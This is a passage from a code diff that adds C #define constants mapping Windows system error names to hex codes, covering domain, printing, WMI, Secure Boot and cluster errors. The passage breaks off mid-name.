ERROR_DOMAIN_CONTROLLER_NOT_FOUND 0x774 +#define ERROR_ACCOUNT_LOCKED_OUT 0x775 +#define ERROR_NO_SITENAME 0x77f +#define ERROR_CANT_ACCESS_FILE 0x780 +#define ERROR_CANT_RESOLVE_FILENAME 0x781 +#define ERROR_KM_DRIVER_BLOCKED 0x78a +#define ERROR_CONTEXT_EXPIRED 0x78b +#define ERROR_PER_USER_TRUST_QUOTA_EXCEEDED 0x78c +#define ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED 0x78d +#define ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED 0x78e +#define ERROR_AUTHENTICATION_FIREWALL_FAILED 0x78f +#define ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED 0x790 +#define ERROR_NTLM_BLOCKED 0x791 +#define ERROR_PASSWORD_CHANGE_REQUIRED 0x792 +#define ERROR_LOST_MODE_LOGON_RESTRICTION 0x793 +#define ERROR_INVALID_PIXEL_FORMAT 0x7d0 +#define ERROR_BAD_DRIVER 0x7d1 +#define ERROR_INVALID_WINDOW_STYLE 0x7d2 +#define ERROR_METAFILE_NOT_SUPPORTED 0x7d3 +#define ERROR_TRANSFORM_NOT_SUPPORTED 0x7d4 +#define ERROR_CLIPPING_NOT_SUPPORTED 0x7d5 +#define ERROR_INVALID_CMM 0x7da +#define ERROR_INVALID_PROFILE 0x7db +#define ERROR_TAG_NOT_FOUND 0x7dc +#define ERROR_TAG_NOT_PRESENT 0x7dd +#define ERROR_DUPLICATE_TAG 0x7de +#define ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE 0x7df +#define ERROR_PROFILE_NOT_FOUND 0x7e0 +#define ERROR_INVALID_COLORSPACE 0x7e1 +#define ERROR_ICM_NOT_ENABLED 0x7e2 +#define ERROR_DELETING_ICM_XFORM 0x7e3 +#define ERROR_INVALID_TRANSFORM 0x7e4 +#define ERROR_COLORSPACE_MISMATCH 0x7e5 +#define ERROR_INVALID_COLORINDEX 0x7e6 +#define ERROR_PROFILE_DOES_NOT_MATCH_DEVICE 0x7e7 +#define ERROR_CONNECTED_OTHER_PASSWORD 0x83c +#define ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT 0x83d +#define ERROR_BAD_USERNAME 0x89a +#define ERROR_NOT_CONNECTED 0x8ca +#define ERROR_OPEN_FILES 0x961 +#define ERROR_ACTIVE_CONNECTIONS 0x962 +#define ERROR_DEVICE_IN_USE 0x964 +#define ERROR_UNKNOWN_PRINT_MONITOR 0xbb8 +#define ERROR_PRINTER_DRIVER_IN_USE 0xbb9 +#define ERROR_SPOOL_FILE_NOT_FOUND 0xbba +#define ERROR_SPL_NO_STARTDOC 0xbbb +#define ERROR_SPL_NO_ADDJOB 0xbbc +#define ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED 0xbbd +#define ERROR_PRINT_MONITOR_ALREADY_INSTALLED 0xbbe +#define ERROR_INVALID_PRINT_MONITOR 0xbbf +#define ERROR_PRINT_MONITOR_IN_USE 0xbc0 +#define ERROR_PRINTER_HAS_JOBS_QUEUED 0xbc1 +#define ERROR_SUCCESS_REBOOT_REQUIRED 0xbc2 +#define ERROR_SUCCESS_RESTART_REQUIRED 0xbc3 +#define ERROR_PRINTER_NOT_FOUND 0xbc4 +#define ERROR_PRINTER_DRIVER_WARNED 0xbc5 +#define ERROR_PRINTER_DRIVER_BLOCKED 0xbc6 +#define ERROR_PRINTER_DRIVER_PACKAGE_IN_USE 0xbc7 +#define ERROR_CORE_DRIVER_PACKAGE_NOT_FOUND 0xbc8 +#define ERROR_FAIL_REBOOT_REQUIRED 0xbc9 +#define ERROR_FAIL_REBOOT_INITIATED 0xbca +#define ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED 0xbcb +#define ERROR_PRINT_JOB_RESTART_REQUIRED 0xbcc +#define ERROR_INVALID_PRINTER_DRIVER_MANIFEST 0xbcd +#define ERROR_PRINTER_NOT_SHAREABLE 0xbce +#define ERROR_SERVER_SERVICE_CALL_REQUIRES_SMB1 0xbcf +#define ERROR_NETWORK_AUTHENTICATION_PROMPT_CANCELED 0xbd0 +#define ERROR_REMOTE_MAILSLOTS_DEPRECATED 0xbd1 +#define ERROR_REQUEST_PAUSED 0xbea +#define ERROR_APPEXEC_CONDITION_NOT_SATISFIED 0xbf4 +#define ERROR_APPEXEC_HANDLE_INVALIDATED 0xbf5 +#define ERROR_APPEXEC_INVALID_HOST_GENERATION 0xbf6 +#define ERROR_APPEXEC_UNEXPECTED_PROCESS_REGISTRATION 0xbf7 +#define ERROR_APPEXEC_INVALID_HOST_STATE 0xbf8 +#define ERROR_APPEXEC_NO_DONOR 0xbf9 +#define ERROR_APPEXEC_HOST_ID_MISMATCH 0xbfa +#define ERROR_APPEXEC_UNKNOWN_USER 0xbfb +#define ERROR_APPEXEC_APP_COMPAT_BLOCK 0xbfc +#define ERROR_APPEXEC_CALLER_WAIT_TIMEOUT 0xbfd +#define ERROR_APPEXEC_CALLER_WAIT_TIMEOUT_TERMINATION 0xbfe +#define ERROR_APPEXEC_CALLER_WAIT_TIMEOUT_LICENSING 0xbff +#define ERROR_APPEXEC_CALLER_WAIT_TIMEOUT_RESOURCES 0xc00 +#define ERROR_VRF_VOLATILE_CFG_AND_IO_ENABLED 0xc08 +#define ERROR_VRF_VOLATILE_NOT_STOPPABLE 0xc09 +#define ERROR_VRF_VOLATILE_SAFE_MODE 0xc0a +#define ERROR_VRF_VOLATILE_NOT_RUNNABLE_SYSTEM 0xc0b +#define ERROR_VRF_VOLATILE_NOT_SUPPORTED_RULECLASS 0xc0c +#define ERROR_VRF_VOLATILE_PROTECTED_DRIVER 0xc0d +#define ERROR_VRF_VOLATILE_NMI_REGISTERED 0xc0e +#define ERROR_VRF_VOLATILE_SETTINGS_CONFLICT 0xc0f +#define ERROR_CAR_LKD_IN_PROGRESS 0xc10 +#define ERROR_DIF_ZERO_SIZE_INFORMATION 0xc73 +#define ERROR_DIF_DRIVER_PLUGIN_MISMATCH 0xc74 +#define ERROR_DIF_DRIVER_THUNKS_NOT_ALLOWED 0xc75 +#define ERROR_DIF_IOCALLBACK_NOT_REPLACED 0xc76 +#define ERROR_DIF_LIVEDUMP_LIMIT_EXCEEDED 0xc77 +#define ERROR_DIF_VOLATILE_SECTION_NOT_LOCKED 0xc78 +#define ERROR_DIF_VOLATILE_DRIVER_HOTPATCHED 0xc79 +#define ERROR_DIF_VOLATILE_INVALID_INFO 0xc7a +#define ERROR_DIF_VOLATILE_DRIVER_IS_NOT_RUNNING 0xc7b +#define ERROR_DIF_VOLATILE_PLUGIN_IS_NOT_RUNNING 0xc7c +#define ERROR_DIF_VOLATILE_PLUGIN_CHANGE_NOT_ALLOWED 0xc7d +#define ERROR_DIF_VOLATILE_NOT_ALLOWED 0xc7e +#define ERROR_DIF_BINDING_API_NOT_FOUND 0xc7f +#define ERROR_IO_REISSUE_AS_CACHED 0xf6e +#define ERROR_WINS_INTERNAL 0xfa0 +#define ERROR_CAN_NOT_DEL_LOCAL_WINS 0xfa1 +#define ERROR_STATIC_INIT 0xfa2 +#define ERROR_INC_BACKUP 0xfa3 +#define ERROR_FULL_BACKUP 0xfa4 +#define ERROR_REC_NON_EXISTENT 0xfa5 +#define ERROR_RPL_NOT_ALLOWED 0xfa6 +#define ERROR_DHCP_ADDRESS_CONFLICT 0x1004 +#define ERROR_WMI_GUID_NOT_FOUND 0x1068 +#define ERROR_WMI_INSTANCE_NOT_FOUND 0x1069 +#define ERROR_WMI_ITEMID_NOT_FOUND 0x106a +#define ERROR_WMI_TRY_AGAIN 0x106b +#define ERROR_WMI_DP_NOT_FOUND 0x106c +#define ERROR_WMI_UNRESOLVED_INSTANCE_REF 0x106d +#define ERROR_WMI_ALREADY_ENABLED 0x106e +#define ERROR_WMI_GUID_DISCONNECTED 0x106f +#define ERROR_WMI_SERVER_UNAVAILABLE 0x1070 +#define ERROR_WMI_DP_FAILED 0x1071 +#define ERROR_WMI_INVALID_MOF 0x1072 +#define ERROR_WMI_INVALID_REGINFO 0x1073 +#define ERROR_WMI_ALREADY_DISABLED 0x1074 +#define ERROR_WMI_READ_ONLY 0x1075 +#define ERROR_WMI_SET_FAILURE 0x1076 +#define ERROR_NOT_APPCONTAINER 0x109a +#define ERROR_APPCONTAINER_REQUIRED 0x109b +#define ERROR_NOT_SUPPORTED_IN_APPCONTAINER 0x109c +#define ERROR_INVALID_PACKAGE_SID_LENGTH 0x109d +#define ERROR_INVALID_MEDIA 0x10cc +#define ERROR_INVALID_LIBRARY 0x10cd +#define ERROR_INVALID_MEDIA_POOL 0x10ce +#define ERROR_DRIVE_MEDIA_MISMATCH 0x10cf +#define ERROR_MEDIA_OFFLINE 0x10d0 +#define ERROR_LIBRARY_OFFLINE 0x10d1 +#define ERROR_EMPTY 0x10d2 +#define ERROR_NOT_EMPTY 0x10d3 +#define ERROR_MEDIA_UNAVAILABLE 0x10d4 +#define ERROR_RESOURCE_DISABLED 0x10d5 +#define ERROR_INVALID_CLEANER 0x10d6 +#define ERROR_UNABLE_TO_CLEAN 0x10d7 +#define ERROR_OBJECT_NOT_FOUND 0x10d8 +#define ERROR_DATABASE_FAILURE 0x10d9 +#define ERROR_DATABASE_FULL 0x10da +#define ERROR_MEDIA_INCOMPATIBLE 0x10db +#define ERROR_RESOURCE_NOT_PRESENT 0x10dc +#define ERROR_INVALID_OPERATION 0x10dd +#define ERROR_MEDIA_NOT_AVAILABLE 0x10de +#define ERROR_DEVICE_NOT_AVAILABLE 0x10df +#define ERROR_REQUEST_REFUSED 0x10e0 +#define ERROR_INVALID_DRIVE_OBJECT 0x10e1 +#define ERROR_LIBRARY_FULL 0x10e2 +#define ERROR_MEDIUM_NOT_ACCESSIBLE 0x10e3 +#define ERROR_UNABLE_TO_LOAD_MEDIUM 0x10e4 +#define ERROR_UNABLE_TO_INVENTORY_DRIVE 0x10e5 +#define ERROR_UNABLE_TO_INVENTORY_SLOT 0x10e6 +#define ERROR_UNABLE_TO_INVENTORY_TRANSPORT 0x10e7 +#define ERROR_TRANSPORT_FULL 0x10e8 +#define ERROR_CONTROLLING_IEPORT 0x10e9 +#define ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA 0x10ea +#define ERROR_CLEANER_SLOT_SET 0x10eb +#define ERROR_CLEANER_SLOT_NOT_SET 0x10ec +#define ERROR_CLEANER_CARTRIDGE_SPENT 0x10ed +#define ERROR_UNEXPECTED_OMID 0x10ee +#define ERROR_CANT_DELETE_LAST_ITEM 0x10ef +#define ERROR_MESSAGE_EXCEEDS_MAX_SIZE 0x10f0 +#define ERROR_VOLUME_CONTAINS_SYS_FILES 0x10f1 +#define ERROR_INDIGENOUS_TYPE 0x10f2 +#define ERROR_NO_SUPPORTING_DRIVES 0x10f3 +#define ERROR_CLEANER_CARTRIDGE_INSTALLED 0x10f4 +#define ERROR_IEPORT_FULL 0x10f5 +#define ERROR_FILE_OFFLINE 0x10fe +#define ERROR_REMOTE_STORAGE_NOT_ACTIVE 0x10ff +#define ERROR_REMOTE_STORAGE_MEDIA_ERROR 0x1100 +#define ERROR_NOT_A_REPARSE_POINT 0x1126 +#define ERROR_REPARSE_ATTRIBUTE_CONFLICT 0x1127 +#define ERROR_INVALID_REPARSE_DATA 0x1128 +#define ERROR_REPARSE_TAG_INVALID 0x1129 +#define ERROR_REPARSE_TAG_MISMATCH 0x112a +#define ERROR_REPARSE_POINT_ENCOUNTERED 0x112b +#define ERROR_APP_DATA_NOT_FOUND 0x1130 +#define ERROR_APP_DATA_EXPIRED 0x1131 +#define ERROR_APP_DATA_CORRUPT 0x1132 +#define ERROR_APP_DATA_LIMIT_EXCEEDED 0x1133 +#define ERROR_APP_DATA_REBOOT_REQUIRED 0x1134 +#define ERROR_SECUREBOOT_ROLLBACK_DETECTED 0x1144 +#define ERROR_SECUREBOOT_POLICY_VIOLATION 0x1145 +#define ERROR_SECUREBOOT_INVALID_POLICY 0x1146 +#define ERROR_SECUREBOOT_POLICY_PUBLISHER_NOT_FOUND 0x1147 +#define ERROR_SECUREBOOT_POLICY_NOT_SIGNED 0x1148 +#define ERROR_SECUREBOOT_NOT_ENABLED 0x1149 +#define ERROR_SECUREBOOT_FILE_REPLACED 0x114a +#define ERROR_SECUREBOOT_POLICY_NOT_AUTHORIZED 0x114b +#define ERROR_SECUREBOOT_POLICY_UNKNOWN 0x114c +#define ERROR_SECUREBOOT_POLICY_MISSING_ANTIROLLBACKVERSION 0x114d +#define ERROR_SECUREBOOT_PLATFORM_ID_MISMATCH 0x114e +#define ERROR_SECUREBOOT_POLICY_ROLLBACK_DETECTED 0x114f +#define ERROR_SECUREBOOT_POLICY_UPGRADE_MISMATCH 0x1150 +#define ERROR_SECUREBOOT_REQUIRED_POLICY_FILE_MISSING 0x1151 +#define ERROR_SECUREBOOT_NOT_BASE_POLICY 0x1152 +#define ERROR_SECUREBOOT_NOT_SUPPLEMENTAL_POLICY 0x1153 +#define ERROR_OFFLOAD_READ_FLT_NOT_SUPPORTED 0x1158 +#define ERROR_OFFLOAD_WRITE_FLT_NOT_SUPPORTED 0x1159 +#define ERROR_OFFLOAD_READ_FILE_NOT_SUPPORTED 0x115a +#define ERROR_OFFLOAD_WRITE_FILE_NOT_SUPPORTED 0x115b +#define ERROR_ALREADY_HAS_STREAM_ID 0x115c +#define ERROR_SMR_GARBAGE_COLLECTION_REQUIRED 0x115d +#define ERROR_WOF_WIM_HEADER_CORRUPT 0x115e +#define ERROR_WOF_WIM_RESOURCE_TABLE_CORRUPT 0x115f +#define ERROR_WOF_FILE_RESOURCE_TABLE_CORRUPT 0x1160 +#define ERROR_OBJECT_IS_IMMUTABLE 0x1161 +#define ERROR_VOLUME_NOT_SIS_ENABLED 0x1194 +#define ERROR_SYSTEM_INTEGRITY_ROLLBACK_DETECTED 0x11c6 +#define ERROR_SYSTEM_INTEGRITY_POLICY_VIOLATION 0x11c7 +#define ERROR_SYSTEM_INTEGRITY_INVALID_POLICY 0x11c8 +#define ERROR_SYSTEM_INTEGRITY_POLICY_NOT_SIGNED 0x11c9 +#define ERROR_SYSTEM_INTEGRITY_TOO_MANY_POLICIES 0x11ca +#define ERROR_SYSTEM_INTEGRITY_SUPPLEMENTAL_POLICY_NOT_AUTHORIZED 0x11cb +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_MALICIOUS 0x11cc +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_PUA 0x11cd +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_DANGEROUS_EXT 0x11ce +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_OFFLINE 0x11cf +#define ERROR_VSM_NOT_INITIALIZED 0x11d0 +#define ERROR_VSM_DMA_PROTECTION_NOT_IN_USE 0x11d1 +#define ERROR_VSM_KEY_CI_POLICY_ROLLBACK_DETECTED 0x11d2 +#define ERROR_VSMIDK_KEYGEN_FAILURE 0x11d3 +#define ERROR_VSMIDK_EXPORT_FAILURE 0x11d4 +#define ERROR_VSMIDK_MODULUS_MISMATCH 0x11d5 +#define ERROR_PLATFORM_MANIFEST_NOT_AUTHORIZED 0x11da +#define ERROR_PLATFORM_MANIFEST_INVALID 0x11db +#define ERROR_PLATFORM_MANIFEST_FILE_NOT_AUTHORIZED 0x11dc +#define ERROR_PLATFORM_MANIFEST_CATALOG_NOT_AUTHORIZED 0x11dd +#define ERROR_PLATFORM_MANIFEST_BINARY_ID_NOT_FOUND 0x11de +#define ERROR_PLATFORM_MANIFEST_NOT_ACTIVE 0x11df +#define ERROR_PLATFORM_MANIFEST_NOT_SIGNED 0x11e0 +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_UNFRIENDLY_FILE 0x11e4 +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_UNATTAINABLE 0x11e5 +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_EXPLICIT_DENY_FILE 0x11e6 +#define ERROR_SYSTEM_INTEGRITY_WHQL_NOT_SATISFIED 0x11e7 +#define ERROR_DEPENDENT_RESOURCE_EXISTS 0x1389 +#define ERROR_DEPENDENCY_NOT_FOUND 0x138a +#define ERROR_DEPENDENCY_ALREADY_EXISTS 0x138b +#define ERROR_RESOURCE_NOT_ONLINE 0x138c +#define ERROR_HOST_NODE_NOT_AVAILABLE 0x138d +#define ERROR_RESOURCE_NOT_AVAILABLE 0x138e +#define ERROR_RESOURCE_NOT_FOUND 0x138f +#define ERROR_SHUTDOWN_CLUSTER 0x1390 +#define ERROR_CANT_EVICT_ACTIVE_NODE 0x1391 +#define ERROR_OBJECT_ALREADY_EXISTS 0x1392 +#define ERROR_OBJECT_IN_LIST 0x1393 +#define ERROR_GROUP_NOT_AVAILABLE 0x1394 +#define ERROR_GROUP_NOT_FOUND 0x1395 +#define ERROR_GROUP_NOT_ONLINE 0x1396 +#define ERROR_HOST_NODE_NOT_RESOURCE_OWNER 0x1397 +#define ERROR_HOST_NODE_NOT_GROUP_OWNER 0x1398 +#define ERROR_RESMON_CREATE_FAILED 0x1399 +#define ERROR_RESMON_ONLINE_FAILED 0x139a +#define ERROR_RESOURCE_ONLINE 0x139b +#define ERROR_QUORUM_RESOURCE 0x139c +#define ERROR_NOT_QUORUM_CAPABLE 0x139d +#define ERROR_CLUSTER_SHUTTING_DOWN 0x139e +#define ERROR_INVALID_STATE 0x139f +#define ERROR_RESOURCE_PROPERTIES_STORED 0x13a0 +#define ERROR_NOT_QUORUM_CLASS 0x13a1 +#define ERROR_CORE_RESOURCE 0x13a2 +#define ERROR_QUORUM_RESOURCE_ONLINE_FAILED 0x13a3 +#define ERROR_QUORUMLOG_OPEN_FAILED 0x13a4 +#define ERROR_CLUSTERLOG_CORRUPT 0x13a5 +#define ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE 0x13a6 +#define ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE 0x13a7 +#define ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND 0x13a8 +#define ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE 0x13a9 +#define ERROR_QUORUM_OWNER_ALIVE 0x13aa +#define ERROR_NETWORK_NOT_AVAILABLE 0x13ab +#define ERROR_NODE_NOT_AVAILABLE 0x13ac +#define ERROR_ALL_NODES_NOT_AVAILABLE 0x13ad +#define ERROR_RESOURCE_FAILED 0x13ae +#define ERROR_CLUSTER_INVALID_NODE 0x13af +#define ERROR_CLUSTER_NODE_EXISTS 0x13b0 +#define ERROR_CLUSTER_JOIN_IN_PROGRESS 0x13b1 +#define ERROR_CLUSTER_NODE_NOT_FOUND 0x13b2 +#define ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND 0x13b3 +#define ERROR_CLUSTER_NETWORK_EXISTS 0x13b4 +#define ERROR_CLUSTER_NETWORK_NOT_FOUND 0x13b5 +#define ERROR_CLUSTER_NETINTERFACE_EXISTS 0x13b6 +#define ERROR_CLUSTER_NETINTERFACE_NOT_FOUND 0x13b7 +#define ERROR_CLUSTER_INVALID_REQUEST 0x13b8 +#define ERROR_CLUSTER_INVALID_NETWORK_PROVIDER 0x13b9 +#define ERROR_CLUSTER_NODE_DOWN 0x13ba +#define ERROR_CLUSTER_NODE_UNREACHABLE 0x13bb +#define ERROR_CLUSTER_NODE_NOT_MEMBER 0x13bc +#define ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS 0x13bd +#define ERROR_CLUSTER_INVALID_NETWORK 0x13be +#define ERROR_CLUSTER_NODE_UP 0x13c0 +#define ERROR_CLUSTER_IPADDR_IN_USE 0x13c1 +#define ERROR_CLUSTER_NODE_NOT_PAUSED 0x13c2 +#define ERROR_CLUSTER_NO_SECURITY_CONTEXT 0x13c3 +#define ERROR_CLUSTER_NETWORK_NOT_INTERNAL 0x13c4 +#define ERROR_CLUSTER_NODE_ALREADY_UP 0x13c5 +#define ERROR_CLUSTER_NODE_ALREADY_DOWN 0x13c6 +#define ERROR_CLUSTER_NETWORK_ALREADY_ONLINE 0x13c7 +#define ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE 0x13c8 +#define ERROR_CLUSTER_NODE_ALREADY_MEMBER 0x13c9 +#define ERROR_CLUSTER_LAST_INTERNAL_NETWORK 0x13ca +#define ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS 0x13cb +#define ERROR_INVALID_OPERATION_ON_QUORUM 0x13cc +#define ERROR_DEPENDENCY_NOT_ALLOWED 0x13cd +#define ERROR_CLUSTER_NODE_PAUSED 0x13ce +#define ERROR_NODE_CANT_HOST_RESOURCE 0x13cf +#define ERROR_CLUSTER_NODE_NOT_READY 0x13d0 +#define ERROR_CLUSTER_NODE_SHUTTING_DOWN 0x13d1 +#define ERROR_CLUSTER_JOIN_ABORTED 0x13d2 +#define ERROR_CLUSTER_INCOMPATIBLE_VERSIONS 0x13d3 +#define ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED 0x13d4 +#define ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED 0x13d5 +#define ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND 0x13d6 +#define ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED 0x13d7 +#define ERROR_CLUSTER_RESNAME_NOT_FOUND 0x13d8 +#define ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED 0x13d9 +#define ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST 0x13da +#define ERROR_CLUSTER_DATABASE_SEQMISMATCH 0x13db +#define ERROR_RESMON_INVALID_STATE 0x13dc +#define ERROR_CLUSTER_GUM_NOT_LOCKER 0x13dd +#define ERROR_QUORUM_DISK_NOT_FOUND 0x13de +#define ERROR_DATABASE_BACKUP_CORRUPT 0x13df +#define ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT 0x13e0 +#define ERROR_RESOURCE_PROPERTY_UNCHANGEABLE 0x13e1 +#define ERROR_NO_ADMIN_ACCESS_POINT 0x13e2 +#define ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE 0x1702 +#define ERROR_CLUSTER_QUORUMLOG_NOT_FOUND 0x1703 +#define ERROR_CLUSTER_MEMBERSHIP_HALT 0x1704 +#define ERROR_CLUSTER_INSTANCE_ID_MISMATCH 0x1705 +#define ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP 0x1706 +#define ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH 0x1707 +#define ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP 0x1708 +#define ERROR_CLUSTER_PARAMETER_MISMATCH 0x1709 +#define ERROR_NODE_CANNOT_BE_CLUSTERED 0x170a +#define ERROR_CLUSTER_WRONG_OS_VERSION 0x170b +#define ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME 0x170c +#define ERROR_CLUSCFG_ALREADY_COMMITTED 0x170d +#define ERROR_CLUSCFG_ROLLBACK_FAILED 0x170e +#define ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT 0x170f +#define ERROR_CLUSTER_OLD_VERSION 0x1710 +#define ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME 0x1711 +#define ERROR_CLUSTER_NO_NET_ADAPTERS 0x1712 +#define ERROR_CLUSTER_POISONED 0x1713 +#define ERROR_CLUSTER_GROUP_MOVING 0x1714 +#define ERROR_CLUSTER_RESOURCE_TYPE_BUSY 0x1715 +#define ERROR_RESOURCE_CALL_TIMED_OUT 0x1716 +#define ERROR_INVALID_CLUSTER_IPV6_ADDRESS 0x1717 +#define ERROR_CLUSTER_INTERNAL_INVALID_FUNCTION 0x1718 +#define ERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS 0x1719 +#define ERROR_CLUSTER_PARTIAL_SEND 0x171a +#define ERROR_CLUSTER_REGISTRY_INVALID_FUNCTION 0x171b +#define ERROR_CLUSTER_INVALID_STRING_TERMINATION 0x171c +#define ERROR_CLUSTER_INVALID_STRING_FORMAT 0x171d +#define ERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS 0x171e +#define ERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS 0x171f +#define ERROR_CLUSTER_NULL_DATA 0x1720 +#define ERROR_CLUSTER_PARTIAL_READ 0x1721 +#define ERROR_CLUSTER_PARTIAL_WRITE 0x1722 +#define ERROR_CLUSTER_CANT_DESERIALIZE_DATA 0x1723 +#define ERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT 0x1724 +#define ERROR_CLUSTER_NO_QUORUM 0x1725 +#define ERROR_CLUSTER_INVALID_IPV6_NETWORK 0x1726 +#define ERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK 0x1727 +#define ERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP 0x1728 +#define ERROR_DEPENDENCY_TREE_TOO_COMPLEX 0x1729 +#define ERROR_EXCEPTION_IN_RESOURCE_CALL 0x172a +#define ERROR_CLUSTER_RHS_FAILED_INITIALIZATION 0x172b +#define ERROR_CLUSTER_NOT_INSTALLED 0x172c +#define ERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE 0x172d +#define ERROR_CLUSTER_MAX_NODES_IN_CLUSTER 0x172e +#define ERROR_CLUSTER_TOO_MANY_NODES 0x172f +#define ERROR_CLUSTER_OBJECT_ALREADY_USED 0x1730 +#define ERROR_NONCORE_GROUPS_FOUND 0x1731 +#define ERROR_FILE_SHARE_RESOURCE_CONFLICT 0x1732 +#define ERROR_CLUSTER_EVICT_INVALID_REQUEST 0x1733 +#define ERROR_CLUSTER_SINGLETON_RESOURCE 0x1734 +#define ERROR_CLUSTER_GROUP_SINGLETON_RESOURCE 0x1735 +#define ERROR_CLUSTER_RESOURCE_PROVIDER_FAILED 0x1736 +#define ERROR_CLUSTER_RESOURCE_CONFIGURATION_ERROR 0x1737 +#define ERROR_CLUSTER_GROUP_BUSY 0x1738 +#define ERROR_CLUSTER_NOT_SHARED_VOLUME 0x1739 +#define ERROR_CLUSTER_INVALID_SECURITY_DESCRIPTOR 0x173a +#define ERROR_CLUSTER_SHARED_VOLUMES_IN_USE 0x173b +#define ERROR_CLUSTER_USE_SHARED_VOLUMES_API 0x173c +#define ERROR_CLUSTER_BACKUP_IN_PROGRESS 0x173d +#define ERROR_NON_CSV_PATH 0x173e +#define ERROR_CSV_VOLUME_NOT_LOCAL 0x173f +#define ERROR_CLUSTER_WATCHDOG_TERMINATING 0x1740 +#define ERROR_CLUSTER_RESOURCE_VETOED_MOVE_INCOMPATIBLE_NODES 0x1741 +#define ERROR_CLUSTER_INVALID_NODE_WEIGHT 0x1742 +#define ERROR_CLUSTER_RESOURCE_VETOED_CALL 0x1743 +#define ERROR_RESMON_SYSTEM_RESOURCES_LACKING 0x1744 +#define ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_DESTINATION 0x1745 +#define ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_SOURCE 0x1746 +#define ERROR_CLUSTER_GROUP_QUEUED 0x1747 +#define ERROR_CLUSTER_RESOURCE_LOCKED_STATUS 0x1748 +#define ERROR_CLUSTER_SHARED_VOLUME_FAILOVER_NOT_ALLOWED 0x1749 +#define ERROR_CLUSTER_NODE_DRAIN_IN_PROGRESS 0x174a +#define ERROR_CLUSTER_DISK_NOT_CONNECTED 0x174b +#define ERROR_DISK_NOT_CSV_CAPABLE 0x174c +#define ERROR_RESOURCE_NOT_IN_AVAILABLE_STORAGE 0x174d +#define ERROR_CLUSTER_SHARED_VOLUME_REDIRECTED 0x174e +#define ERROR_CLUSTER_SHARED_VOLUME_NOT_REDIRECTED 0x174f +#define ERROR_CLUSTER_CANNOT_RETURN_PROPERTIES 0x1750 +#define ERROR_CLUSTER_RESOURCE_CONTAINS_UNSUPPORTED_DIFF_AREA_FOR_SHARED_VOLUMES 0x1751 +#define ERROR_CLUSTER_RESOURCE_IS_IN_MAINTENANCE_MODE 0x1752 +#define ERROR_CLUSTER_AFFINITY_CONFLICT 0x1753 +#define ERROR_CLUSTER_RESOURCE_IS_REPLICA_VIRTUAL_MACHINE 0x1754 +#define ERROR_CLUSTER_UPGRADE_INCOMPATIBLE_VERSIONS 0x1755 +#define ERROR_CLUSTER_UPGRADE_FIX_QUORUM_NOT_SUPPORTED 0x1756 +#define ERROR_CLUSTER_UPGRADE_RESTART_REQUIRED 0x1757 +#define ERROR_CLUSTER_UPGRADE_IN_PROGRESS 0x1758 +#define ERROR_CLUSTER_UPGRADE_INCOMPLETE 0x1759 +#define ERROR_CLUSTER_NODE_IN_GRACE_PERIOD 0x175a +#define ERROR_CLUSTER_CSV_IO_PAUSE_TIMEOUT 0x175b +#define ERROR_NODE_NOT_ACTIVE_CLUSTER_MEMBER 0x175c +#define ERROR_CLUSTER_RESOURCE_NOT_MONITORED 0x175d +#define ERROR_CLUSTER_RESOURCE_DOES_NOT_SUPPORT_UNMONITORED 0x175e +#define ERROR_CLUSTER_RESOURCE_IS_REPLICATED 0x175f +#define ERROR_CLUSTER_NODE_ISOLATED 0x1760 +#define ERROR_CLUSTER_NODE_QUARANTINED 0x1761 +#define ERROR_CLUSTER_DATABASE_UPDATE_CONDITION_FAILED 0x1762 +#define ERROR_CLUSTER_SPACE_DEGRADED 0x1763 +#define ERROR_CLUSTER_TOKEN_DELEGATION_NOT_SUPPORTED 0x1764 +#define ERROR_CLUSTER_CSV_INVALID_HANDLE 0x1765 +#define ERROR_CLUSTER_CSV_SUPPORTED_ONLY_ON_COORDINATOR 0x1766 +#define ERROR_GROUPSET_NOT_AVAILABLE 0x1767 +#define ERROR_GROUPSET_NOT_FOUND 0x1768 +#define ERROR_GROUPSET_CANT_PROVIDE 